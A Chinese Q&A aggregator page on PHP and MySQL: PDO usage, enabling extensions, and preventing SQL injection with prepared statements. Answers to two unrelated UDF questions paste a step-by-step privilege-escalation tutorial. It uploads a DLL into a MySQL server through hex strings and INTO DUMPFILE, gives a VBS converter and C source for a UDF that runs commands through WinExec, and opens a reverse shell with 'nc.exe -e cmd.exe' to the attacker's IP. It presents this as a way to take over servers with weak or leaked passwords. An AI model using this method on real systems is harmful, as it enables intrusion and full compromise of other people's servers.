sql

阅读 / 问答 / 标签

php+mysql 请问:用pdo如何获取某个表中记录的数目?

$sql="selectcount(*)fromtb_root";$result=$pdo->query($sql);//提交sql$rowsNumber=$result->fetchColumn();//取回结果集中的一个字段echo$rowsNumber;query方法用来提交select语句,exec方法一般用于insert,update,delete等对于普通的查询,可以这样做$sql="select*fromtb_root";$result=$pdo->query($sql);$rows=$result->fetchAll(PDO:FETCH_ASSOC);//取得所有行$rowsNumber=count($rows);echo$rowsNumber;

PHP MYSQL PDO代码执行两次的错误

执行两次是什么情况?到底是那个字段插入了没?

PDO连接数据库和mysql_connect有什么具体区别? - 技术问答

PDO是PHP5新出来的东东,它是连接数据库的组件,听说以后php版本以PDO为默认连接,它可以适配多种数据库,mysql,mssql,oracle等,不像以前一种数据库有自己的连接方式和固定函数,它采取统一方式。那个快,现在我可以告诉你,mysql没测试过,但在mssql,oracle上测试过,PDO比传统要快将近10倍,特别是当web服务器与数据库不在同一计算机时,PDO显示的更快。这是我在单位老爷机上测试的。

php链接mysql的函数有哪些

常用的mysqli方法有以下几个mysqli_connect:连接认证mysqli_connect_error:连接失败的错误信息mysqli_close:关闭连接mysqli_errno:出现错误的编号mysqli_error:出现错误的信息mysqli_query:执行查询SQL指令mysqli_affected_rows:当前mysql操作受影响的行数(写操作)mysqli_num_rows:当前查询结果集中的行数mysqli_free_result:释放查询的结果集mysqli_fetch_row:从查询结果集中取出一条记录,返回一维数组(索引数组)mysqli_fetch_assoc:从查询结果集中取出一条记录,返回以为数组(关联数组:字段名作为下标)mysqli_fetch_all:从查询结果集中取出所有记录,返回二维数组PHP连接MySQL之原生MySQL函数总结一、配置连接数据库信息1.连接数据库mysql_connect($server, $username, $password)2.设置字符集 mysql_set_charset($charset)3.选择数据库mysql_select_db($database_name)二、向数据库发送并执行sql语句mysql_query($sql); sql语句执行失败则返回false,执行成功若有资源(执行查询等情况)的话返回资源,其余返回true。三、从返回的结果集中解析数据1.返回影响行数的mysql_num_rows($result) 取得结果集中行的数目mysql_affected_rows() 取得前一次操作所影响的记录行数mysql_insert_id(); 取得上一步插入操作产生的ID2.返回查询资源的(以下均是一次从结果集中取得一行记录)mysql_fetch_row() 数字索引mysql_fetch_assoc() 字段名索引mysql_fetch_array() 两者都有3.返回错误信息的mysql_error(); 文本错误信息mysql_errno(); 错误信息的数字编码四、关闭数据库连接mysql_close();PHP中的PDO函数库一、PDOPDO->beginTransaction() — 标明回滚起始点PDO->commit() — 标明回滚结束点,并执行SQLPDO->__construct() — 建立一个PDO链接数据库的实例PDO->errorCode() — 获取错误码PDO->errorInfo() — 获取错误的信息PDO->exec() — 处理一条SQL语句,并返回所影响的条目数PDO->getAttribute() — 获取一个“数据库连接对象”的属性PDO->getAvailableDrivers() — 获取有效的PDO驱动器名称PDO->lastInsertId() — 获取写入的最后一条数据的主键值PDO->prepare() — 生成一个“查询对象”PDO->query() — 处理一条SQL语句,并返回一个“PDOStatement”PDO->quote() — 为某个SQL中的字符串添加引号PDO->rollBack() — 执行回滚PDO->setAttribute() — 为一个“数据库连接对象”设定属性推荐教程:PHP视频教程

mysql,mysqli和PDO的区别

简单来说:PHP-MySQL 是 PHP 操作 MySQL 资料库最原始的 Extension PHP-MySQLi 的 i 代表 Improvement ,提更了相对进阶的功能,就 Extension 而言,本身也增加了安全性。PDO (PHP Data Object) 则是提供了一个 Abstraction Layer 来操作数据库。PHP-MySQLi操作db举例:<?php $mysqli = new mysqli($db_host, $db_user, $db_password, $db_name); $sql = "INSERT INTO `users` (id, name, gender, location) VALUES (?, ?, ?, ?)"; //构建插入的sql语句$stmt = $mysqli->prepare($sql); $stmt->bind_param("dsss", $source_id, $source_name, $source_gender, $source_location); //此处设置插入参数$stmt->execute(); //执行sql语句$stmt->bind_result($id, $name, $gender, $location); //获取结果并处理while ($stmt->fetch()) { echo $id . $name . $gender . $location; } $stmt->close(); $mysqli->close(); ?> PDO操作db举例:oga@carlisten-lx:~$ pecl search pdo //打开pdo======================================= Package Stable/(Latest) Local PDO 1.0.3 (stable) PHP Data Objects Interface. PDO_4D 0.3 (beta) PDO driver for 4D-SQL database PDO_DBLIB 1.0 (stable) FreeTDS/Sybase/MSSQL driver for PDO PDO_FIREBIRD 0.2 (beta) Firebird/InterBase 6 driver for PDO PDO_IBM 1.3.2 (stable) PDO driver for IBM databases PDO_INFORMIX 1.2.6 (stable) PDO driver for IBM Informix INFORMIX databases PDO_MYSQL 1.0.2 (stable) MySQL driver for PDO //加载驱动PDO_OCI 1.0 (stable) Oracle Call Interface driver for PDO PDO_ODBC 1.0.1 (stable) ODBC v3 Interface driver for PDO PDO_PGSQL 1.0.2 (stable) PostgreSQL driver for PDO PDO_SQLITE 1.0.1 (stable) SQLite v3 Interface driver for PDO pdo_user 0.3.0 (beta) Userspace driver for PDO

大家php开发使用mysqli还是pdo?

市面上都是用框架,用原生的太少了。你可以了解下thinkphp laravel 等这些市面上主流框架,框架内对数据库连接做了封装。很方便

php+mysql 请问:用pdo如何获取某个表中记录的数目?

$sql = "select * from tb_root";$res = $pdo->prepare($sql);//$res->exec();$res->execute();$num = $res->rowCount();

PHP的PDO能不能打印出上一条执行的sql语句

打印sql语句,直接在你执行SQL语句后输出$queries = DB::getQueryLog(); $a = end($queries); $tmp = str_replace("?", """."%s".""", $a["query"]); echo vsprintf($tmp, $a["bindings"]); exit;实例:<?phpRoute::get("/", function(){$arr["name"]="zhuo";$arr["email"]="zhuowenji@163.com";$uid = DB::table("basic")->insertGetId($arr);$queries = DB::getQueryLog();/*echo "<pre>";var_dump($queries);echo "</pre>";//以下为得到结果。laravel默认方式使用了pdo的形式执行对数据库操作array(1) {[0]=>array(3) {["query"]=>string(51) "insert into `basic` (`name`, `email`) values (?, ?)"["bindings"]=>array(2) {[0]=>string(4) "zhuo"[1]=>string(17) "zhuowenji@163.com"}["time"]=>float(2)}}*///===========================================================//转成源生的sql语句if($uid == false){$a = end($queries);$tmp = str_replace("?", """."%s".""", $a["query"]);echo vsprintf($tmp, $a["bindings"]);exit;//结果;insert into `basic` (`name`, `email`) values ("zhuo", "zhuowenji@163.com")}});?>

如何开启PDO,PDO_MYSQL扩展

开启这个功能的具体方法就是设置php.ini文件,步骤如下:1、查看public_html目录下没有php.ini文件,如果有的,打开文件查找extension=php_pdo_mysql.dllextension=php_pdo.dll把前面的分号去掉,然后保存文件。2、如果没有,就新建一个文件php.in把下面两行添加进去extension=pdo.soextension=pdo_mysql.so注意:php.ini文件需要放到相应的目录下,比如另外绑定的域名则需要将php.ini文件放到相应的子目录下。总体原则就是哪个目录需要就把php.ini文件放到那个目录下。如何开启PDO,PDO_MYSQL扩展标签:

如何在PHP下开启PDO MySQL的扩展

PDO扩展为PHP访问数据库定义了一个轻量级的、一致性的接口,它提供了一个数据访问抽象层,这样,无论使用什么数据库,都可以通过一致的函数执行查询和获取数据。在一些PHP管理系统需要开启PDO和PDO_MySQL扩展,方法很简单:1、找到php.ini文件2、打开后,搜索 extension=php_pdo.dll 和 extension=php_pdo_mysql.dll ,去掉前面“;”的注释。最终这两行配置内容如下:extension=php_pdo.dllextension=php_pdo_mysql.dll重新启动apache或者iis后,在phpinfo函数中查看,是否开启。

php该如何安装pdo_mysql扩展

php安装pdo_mysql扩展的方法:1、编译安装mysql扩展,生成mysql.so;2、编辑php.ini配置文件,添加mysql.so;3、编译安装pdo_mysql。安装方法:(推荐教程:php视频教程)1、安装php mysql扩展# cd /usr/local/php-5.3.28/ext/mysql/# phpize# ./configure --with-php-config=/usr/local/php/bin/php-config --with-mysql=/usr注意: --with-mysql=/usr 这个参数使用find命令寻找mysql客户端安装目录# find / -name mysql.h/usr/include/mysql/mysql.h这里只需要写--with-mysql=/usr编译安装,生成mysql.so#make#make install修改php.ini 配置文件,添加mysql.soextension=mysql.so重启apache2、安装pdo_mysql# cd /usr/local/php-5.3.28/ext/pdo_mysql/# phpize# ./configure --with-php-config=/usr/local/php/bin/php-config --with-pdo-mysql=/usr/local/mysql后面的两个参数必须要添加,一开始我没有添加,结果分别都提示找不到php-config和mysql的header文件。# ./configure _with-php-config=/usr/local/php/bin/php-config _with-pdo-mysql=/usr/local/mysql报错如下:说找不到 zlib目录 ,加上这句就好了 _with-pdo-mysql=/usr/local/mysql编译安装,生成mysql.so#make#make install修改php.ini 配置文件,添加mysql.soextension=mysql.so重启apache

pdo是使用mysql还是mysqli

php与mysql的连接有三种API接口,分别是:PHP的MySQL扩展 、PHP的mysqli扩展 、PHP数据对象(PDO) ,下面针对以上三种连接方式做下总结,以备在不同场景下选出最优方案。一、特性及对比PHP的MySQL扩展是设计开发允许PHP应用与MySQL数据库交互的早期扩展。mysql扩展提供了一个面向过程 的接口,并且是针对MySQL4.1.3或更早版本设计的。因此,这个扩展虽然可以与MySQL4.1.3或更新的数据库服务端 进行交互,但并不支持后期MySQL服务端提供的一些特性。由于太过古老,又不安全,所以已被后来的mysqli完全取代。PHP的mysqli扩展,我们有时称之为MySQL增强扩展,可以用于使用 MySQL4.1.3或更新版本中新的高级特性。其特点为:面向对象接口 、prepared语句支持、多语句执行支持、事务支持 、增强的调试能力、嵌入式服务支持 、预处理方式完全解决了sql注入的问题。不过其也有缺点, 就是只支持mysql数据库。如果你要是不操作其他的数据库,这无疑是最好的选择。PDO是PHP Data Objects的缩写,其是PHP应用中的一个数据库抽象层规范。PDO提供了一个统一的API接口可以使得你的PHP应用不去关心具体要 连接的数据库服务器系统类型。也就是说,如果你使用PDO的API,可以在任何需要的时候无缝切换数据库服务器,比如从oracle 到MySQL,仅仅需要修改很少的PHP代码。其功能类似于JDBC、ODBC、DBI之类接口。同样,其也解决了sql注入问题,有很好的安全性。不过他也有缺点,某些多语句执行查询不支持(不过该情况很少)。

php中防止SQL注入的最好方法是什么?

使用预备义语句和参数化查询。对于带有任何参数的sql语句都会被发送到数据库服务器,并被解析!对于攻击者想要恶意注入sql是不可能的! 实现这一目标基本上有两种选择: 1.使用PDO(PHP Data Objects ):$stmt = $pdo->prepare("SELECT * FROM employees WHERE name = :name"); $stmt->execute(array(":name" => $name)); foreach ($stmt as $row) { // do something with $row }2.使用mysqli:$stmt = $dbConnection->prepare("SELECT * FROM employees WHERE name = ?"); $stmt->bind_param("s", $name); $stmt->execute(); $result = $stmt->get_result(); while ($row = $result->fetch_assoc()) { // do something with $row }PDO(PHP数据对象) 注意当使用PDO访问MySQL数据库真正的预备义语句并不是默认使用的!为了解决这个问题,你必须禁用仿真准备好的语句。使用PDO创建连接的例子如下: $dbConnection = new PDO("mysql:dbname=dbtest;host=127.0.0.1;charset=utf8", "user", "pass"); $dbConnection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $dbConnection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);在上面例子中错误模式ERRMODE不是严格必须的,但是建议添加它。当运行出错产生致命错误时,这种方法脚本不会停止。并给开发人员捕捉任何错误的机会(当抛出PDOException异常时)。 setAttribute()那一行是强制性的,它告诉PDO禁用仿真预备义语句,使用真正的预备义语句。这可以确保语句和值在发送给MySQL数据库服务器前不被PHP解析(攻击者没有机会注入恶意的SQL). 当然你可以在构造函数选项中设置字符集参数,特别注意"老"的PHP版本(5.3.6)会在DSN中忽略掉字符集参数。 这里最重要的是,该参数值是和预编译的语句结合的,而不是和一个SQL字符串.SQL注入的工作原理是通过欺骗手段创建的SQL脚本包括恶意字符串发送到数据库.因此,通过发送实际的分开的sql参数,你会降低风险.使用准备好的语句时,你发送的任何参数,将只被视为字符串(虽然数据库引擎可能会做一些参数的优化,当然最终可能会为数字).在上面的例子中,如果变量$name包含"sarah";DELETE * FROM employees,结果只会是一个搜索的字符串""sarah";DELETE * FROM employees",你不会得到一个空表。 使用准备好的语句的另一个好处是,如果你在同一会话中多次执行相同的语句,这将只被解析和编译一次,给你一些的速度增长。

如何使用pdo执行多条sql语句

打印sql语句,直接在你执行SQL语句后输出$queries = DB::getQueryLog(); $a = end($queries); $tmp = str_replace("?", """."%s".""", $a["query"]); echo vsprintf($tmp, $a["bindings"]); exit;实例:<?phpRoute::get("/", function(){$arr["name"]="zhuo";$arr["email"]="zhuowenji@163.com";$uid = DB::table("basic")->insertGetId($arr);$queries = DB::getQueryLog();/*echo "<pre>";var_dump($queries);echo "</pre>";//以下为得到结果。laravel默认方式使用了pdo的形式执行对数据库操作array(1) {[0]=>array(3) {["query"]=>string(51) "insert into `basic` (`name`, `email`) values (?, ?)"["bindings"]=>array(2) {[0]=>string(4) "zhuo"[1]=>string(17) "zhuowenji@163.com"}["time"]=>float(2)}}*///===========================================================//转成源生的sql语句if($uid == false){$a = end($queries);$tmp = str_replace("?", """."%s".""", $a["query"]);echo vsprintf($tmp, $a["bindings"]);exit;//结果;insert into `basic` (`name`, `email`) values ("zhuo", "zhuowenji@163.com")}});?>

如何使用PDO查询mysql避免SQL注入的方法

使用传统的 mysql_connect 、mysql_query方法来连接查询数据库时,如果过滤不严紧,就有SQL注入风险。虽然可以用mysql_real_escape_string()函数过滤用户提交的值,但是也有缺陷。而使用PHP的PDO扩展的 prepare 方法,就可以避免sql injection 风险。PDO(PHP Data Object) 是PHP5新加入的一个重大功能,因为在PHP 5以前的php4/php3都是一堆的数据库扩展来跟各个数据库的连接和处理,如 php_mysql.dll。 PHP6中也将默认使用PDO的方式连接,mysql扩展将被作为辅助 。官方地址:http://php.com/manual/en/book.pdo.php1. PDO配置使用PDO扩展之前,先要启用这个扩展,php.ini中,去掉"extension=php_pdo.dll"前面的";"号,若要连接数据库,还需要去掉与PDO相关的数据库扩展前面的";"号(一般用的是php_pdo_mysql.dll),然后重启Apache服务器即可。extension=php_pdo.dll extension=php_pdo_mysql.dll2. PDO连接mysql数据库$dbh = new PDO("mysql:host=localhost;dbname=mydb","root","password");默认不是长连接,若要使用数据库长连接,可以在最后加如下参数:$dbh = new PDO("mysql:host=localhost;dbname=mydb","root","password","array(PDO::ATTR_PERSISTENT => true) "); $dbh = null; //(释放)3. PDO设置属性PDO有三种错误处理方式:PDO::ERrmODE_SILENT不显示错误信息,只设置错误码PDO::ERrmODE_WARNING显示警告错PDO::ERrmODE_EXCEPTION抛出异常可通过以下语句来设置错误处理方式为抛出异常$db->setAttribute(PDO::ATTR_ERrmODE, PDO::ERrmODE_EXCEPTION);因为不同数据库对返回的字段名称大小写处理不同,所以PDO提供了PDO::ATTR_CASE设置项(包括PDO::CASE_LOWER,PDO::CASE_NATURAL,PDO::CASE_UPPER),来确定返回的字段名称的大小写。通过设置PDO::ATTR_ORACLE_NULLS类型(包括PDO::NULL_NATURAL,PDO::NULL_EmpTY_STRING,PDO::NULL_TO_STRING)来指定数据库返回的NULL值在php中对应的数值。4. PDO常用方法及其应用PDO::query() 主要是用于有记录结果返回的操作,特别是SELECT操作PDO::exec() 主要是针对没有结果集合返回的操作,如INSERT、UPDATE等操作PDO::prepare() 主要是预处理操作,需要通过$rs->execute()来执行预处理里面的SQL语句,这个方法可以绑定参数,功能比较强大(防止sql注入就靠这个)PDO::lastInsertId() 返回上次插入操作,主键列类型是自增的最后的自增ID PDOStatement::fetch() 是用来获取一条记录PDOStatement::fetchAll() 是获取所有记录集到一个集合PDOStatement::fetchColumn() 是获取结果指定第一条记录的某个字段,缺省是第一个字段PDOStatement::rowCount() :主要是用于PDO::query()和PDO::prepare()进行DELETE、INSERT、UPDATE操作影响的结果集,对PDO::exec()方法和SELECT操作无效。5.PDO操作MYSQL数据库实例<?php $pdo = new PDO("mysql:host=localhost;dbname=mydb","root",""); if($pdo -> exec("insert into mytable(name,content) values("fdipzone","123456")")){ echo "insert success"; echo $pdo -> lastinsertid(); } ?><?php $pdo = new PDO("mysql:host=localhost;dbname=mydb","root",""); $rs = $pdo -> query("select * from table"); $rs->setFetchMode(PDO::FETCH_ASSOC); //关联数组形式//$rs->setFetchMode(PDO::FETCH_NUM); //数字索引数组形式while($row = $rs -> fetch()){ print_r($row); } ?><?phpforeach( $db->query( "SELECT * FROM table" ) as $row ){ print_r( $row );}?>统计有多少行数据:<?php$sql="select count(*) from table";$num = $dbh->query($sql)->fetchColumn();?>prepare方式:<?php$query = $dbh->prepare("select * from table");if ($query->execute()) { while ($row = $query->fetch()) { print_r($row); }}?>prepare参数化查询:<?php$query = $dbh->prepare("select * from table where id = ?");if ($query->execute(array(1000))) { while ($row = $query->fetch(PDO::FETCH_ASSOC)) { print_r($row); }}?>使用PDO访问MySQL数据库时,真正的real prepared statements 默认情况下是不使用的。为了解决这个问题,你必须禁用 prepared statements的仿真效果。下面是使用PDO创建链接的例子:<?php$dbh = new PDO("mysql:dbname=mydb;host=127.0.0.1;charset=utf8", "root", "pass");$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);?>setAttribute()这一行是强制性的,它会告诉 PDO 禁用模拟预处理语句,并使用 real parepared statements 。这可以确保SQL语句和相应的值在传递到mysql服务器之前是不会被PHP解析的(禁止了所有可能的恶意SQL注入攻击)。虽然你可以配置文件中设置字符集的属性(charset=utf8),但是需要格外注意的是,老版本的 PHP( < 5.3.6)在DSN中是忽略字符参数的。完整的代码使用实例:<?php$dbh = new PDO("mysql:host=localhost; dbname=mydb", "root", "pass");$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); //禁用prepared statements的仿真效果$dbh->exec("set names "utf8""); $sql="select * from table where username = ? and password = ?";$query = $dbh->prepare($sql); $exeres = $query->execute(array($username, $pass)); if ($exeres) { while ($row = $query->fetch(PDO::FETCH_ASSOC)) { print_r($row); }}$dbh = null;?>上面这段代码就可以防范sql注入。为什么呢?当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符 ? 发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,它们是分开传送的,两者独立的,SQL攻击者没有一点机会。但是我们需要注意的是以下几种情况,PDO并不能帮助你防范SQL注入。不能让占位符 ? 代替一组值,这样只会获取到这组数据的第一个值,如:select * from table where userid in ( ? );如果要用in_查找,可以改用find_in_set()实现$ids = "1,2,3,4,5,6";select * from table where find_in_set(userid, ?);不能让占位符代替数据表名或列名,如:select * from table order by ?;不能让占位符 ? 代替任何其他SQL语法,如:select extract( ? from addtime) as mytime from table;本篇文章如何使用PDO查询mysql避免SQL注入的方法,更多相关内容请关注Gxl网。

PHP7.2,PDO连接(远程)数据库(phppdo连接mysql)

把localhost改为有mysql的服务器地址,当然还需要端口、用户名、密码,也就是说是你可以访问的数据库服务器。

如何开启PDO,PDO_MYSQL扩展

开启这个功能的具体方法就是设置php.ini文件,步骤如下: 1、查看public_html目录下没有php.ini文件,如果有的, 打开文件查找 extension=php_pdo_mysql.dll extension=php_pdo.dll 把前面的分号去掉,然后保存文件。 2、如果没有,就新建一个文件php.in 把下面两行添加进去 extension=pdo.so extension=pdo_mysql.so 注意:php.ini文件需要放到相应的目录下,比如另外绑定的域名则需要将php.ini文件放到相应的子目录下。 总体原则就是哪个目录需要就把php.ini文件放到那个目录下。

mysql udf函数怎么调用

很早网上就有了用mysql弱口令得到webshell教程,但是这次我要说的不是得到webshell,而是直接得到系统权限,看清楚了,是“直接”得到! 首先,我简单说一下mysql弱口令得到系统权限得过程:首先利用mysql脚本上传udf dll文件,然后利用注册UDF DLL中自写的Function函数,而执行任意命令。 思路很简单,网上也有一些教程,但是他们要么没有给具体的代码,要么一句话代过,搞得象我似得小菜很难理解,终于在我付出了几天得不断测试得辛勤劳动后,有了点结果,我把详细过程和相关代码得交给大家,这样大家就可以自己写dll文件,自己生成不同文件得二进制码啦! 下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的方法): set @a = concat("",0x0123abc1312389…..); set @a = concat(@a,0x4658978abc545e……); …………………. create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob insert into Mix values("");update Mix set data = @a;//@a插入表Mix select data from Mix into DUMPFILE "C:\Winnt\文件名";//导出表中内容为文件 前两句很熟悉把,这个就是我们以前注入的时候,绕过"的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。 后面三句好说,但是前面的那么多16进制数据,手工的话,累人啊!不过你还记得以前有一个exe2bat.vbs脚本吗?这次我们可以把这个脚本修改一下后,得到我们这里需要得mysql脚本!对比exe2bat.vbs生成得文件和我们需要脚本的文件格式,我们可以轻松的得到我们所需的脚本。脚本内容如下: fp=wscript.arguments(0 fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true) .write "set @a = concat("",0x" for i=1 to sl bt=ascb(midb(str,i,1)) if bt<16 then .write "0" .write hex(bt) if i mod 128=0 then .write ");" vbcrlf "set @a = concat(@a,0x" next end with 好了,现在只要你把所要上传的文件拖到这个脚本图标上面,就可以生成一个同名的txt文件了。这个txt文件,就是我们所需要的mysql脚本,当然我们还需要修改一下这个txt文件(毕竟他是我们偷工减料得来的!),把最后一行生成的多余的那句“set @a = concat("",0x”删除了,加上建表,插值得那三句代码即可! 脚本生成了,如何上传?先登陆mysql服务器: C:>mysql –u root –h hostip –p Mysql>use mysql; //先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库 Mysql>. E:*.dll.txt; //这儿就是你生成的mysql脚本 按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了! 下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧! 先用mix.dll: 登陆mysql,输入命令: Mysql> . e:mix.dll.txt; Mysql> CREATE FUNCTION Mixconnect RETURNS STRING SONAME "C:\windows\mix.dll"; //这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令! Mysql> select Mixconnect("你的ip","8080"); //填写你的反弹ip和端口 过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1: 这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select Mixconnect("你的ip","8080");”的时候,对方的mysql会当掉!报错,然后服务停止! 所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。 再用my_udf.dll: Mysql>. C:my_udf.dll.txt Mysql> CREATE FUNCTION my_udfdoor RETURNS STRING SONAME "C:\winnt\my_udf.dll"; //同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数 Mysql> select my_udfdoor(""); //这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数 好了,现在你可以不用关这个shell了,我们再开一个cmd,使用: D:>nc hostip 3306 * 4.0.*-nt x$Eo~MCG f**k //看到这个后,输入“f**k” ,他是my_udfdoor默认密码,自己无法更改 过一会儿,你就有了系统权限的shell了, 由于他是hook recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select my_udfdoor("");”后),不管你是否连接,只要执行了: Mysql>drop function my_udfdoor; 后,mysql也汇报错,然后挂掉, 所以,你使用这个dll文件无法删除你的痕迹! 最后,然我们自己写一个自定义的dll文件。看能不能解决问题。 我们仅仅使用mysql 得udf的示例作模版即可!看他的示例: #include <stdlib.h> #include <winsock.h> #include <mysql.h> extern "C" { char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error); // 兼容C } char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { char * me = "my name"; return me; // 调用此UDF将返回 my name } 十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了: 下面是我的一个哥们Crackme是修改的: #include <stdlib.h> #include <windows.h> #include "mysql.h" extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改 __declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //当然这儿的sys_name也得改! { char me[256] = {0}; if (args->arg_count == 1){ strncpy(me,args->args[0],args->lengths[0]); me[args->lengths[0]]=""; WinExec(me,SW_HIDE); //就是用它来执行任意命令 }else strcpy(me,"do nonthing. "); return me; } 好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把! 看操作: Mysql>. C:sysudf.dll.txt Mysql>Create function sys_name returns string soname "C:\windows\sysudf.dll"; Mysql>. Nc.exe.txt //把nc.exe也上传上去 Mysql>select sys_name("nc.exe -e cmd.exe 我的ip 8080"); //sys_name参数只有一个,参数指定要执行的系统命令 好,看看在Win2003中的一个反弹shell了, 当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop function sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是最好的选择了。 上面三个dll文件可谓各有所短,如何选择,就看你遇到的实际情况了。 好了,从脚本得编写使用到dll文件编写使用,说了这么多,现在大家应该都会了吧?题目说的是弱口令得到系统权限,但是如果你在注入等其他过程中,爆出了config.php中的mysql密码,不也是可以使用的吗?这样我们岂不是也找到继Serv-u后又一大提权方法了吗?

我使用的是SQL server 2008 为什么不支持pivot

右键数据库,属性,选项卡看看兼容级别 右键数据库,属性,选项卡看看代码执行的数据库兼容级别 不是版本号

sqlserver中如何使用pivot,达到如下效果?急死小弟了!

要使用sum函数如果是你这样的字符串,应该是用转换NULL到"",然后用字符串拼接函数希望对你有帮助 http://wenku.baidu.com/link?url=ga06E6mVVxFw-4yBUU68jlJb28UefjTaGQGI0nkmHvg84aK5Vfu5KKvK5QOemgTh_gG1ZPr07uf5SHhjLDY-xeyRft1ifCLKHDwYDrWEoxS

如何查看mysql注册的udf

很早网上就有了用mysql弱口令得到webshell教程,但是这次我要说的不是得到webshell,而是直接得到系统权限,看清楚了,是“直接”得到! 首先,我简单说一下mysql弱口令得到系统权限得过程:首先利用mysql脚本上传udf dll文件,然后利用注册UDF DLL中自写的Function函数,而执行任意命令。 思路很简单,网上也有一些教程,但是他们要么没有给具体的代码,要么一句话代过,搞得象我似得小菜很难理解,终于在我付出了几天得不断测试得辛勤劳动后,有了点结果,我把详细过程和相关代码得交给大家,这样大家就可以自己写dll文件,自己生成不同文件得二进制码啦! 下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的方法): set @a = concat("",0x0123abc1312389…..); set @a = concat(@a,0x4658978abc545e……); …………………. create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob insert into Mix values("");update Mix set data = @a;//@a插入表Mix select data from Mix into DUMPFILE "C:\Winnt\文件名";//导出表中内容为文件 前两句很熟悉把,这个就是我们以前注入的时候,绕过"的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。 后面三句好说,但是前面的那么多16进制数据,手工的话,累人啊!不过你还记得以前有一个exe2bat.vbs脚本吗?这次我们可以把这个脚本修改一下后,得到我们这里需要得mysql脚本!对比exe2bat.vbs生成得文件和我们需要脚本的文件格式,我们可以轻松的得到我们所需的脚本。脚本内容如下: fp=wscript.arguments(0 fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with createobject("scripting.filesystemobject").opentextfile(fp&".txt",2,true) .write "set @a = concat("",0x" for i=1 to sl bt=ascb(midb(str,i,1)) if bt<16 then .write "0" .write hex(bt) if i mod 128=0 then .write ");" vbcrlf "set @a = concat(@a,0x" next end with 好了,现在只要你把所要上传的文件拖到这个脚本图标上面,就可以生成一个同名的txt文件了。这个txt文件,就是我们所需要的mysql脚本,当然我们还需要修改一下这个txt文件(毕竟他是我们偷工减料得来的!),把最后一行生成的多余的那句“set @a = concat("",0x”删除了,加上建表,插值得那三句代码即可! 脚本生成了,如何上传?先登陆mysql服务器: C:>mysql –u root –h hostip –p Mysql>use mysql; //先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库 Mysql>. E:*.dll.txt; //这儿就是你生成的mysql脚本 按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了! 下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧! 先用mix.dll: 登陆mysql,输入命令: Mysql> . e:mix.dll.txt; Mysql> CREATE FUNCTION Mixconnect RETURNS STRING SONAME "C:\windows\mix.dll"; //这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令! Mysql> select Mixconnect("你的ip","8080"); //填写你的反弹ip和端口 过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1: 这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select Mixconnect("你的ip","8080");”的时候,对方的mysql会当掉!报错,然后服务停止! 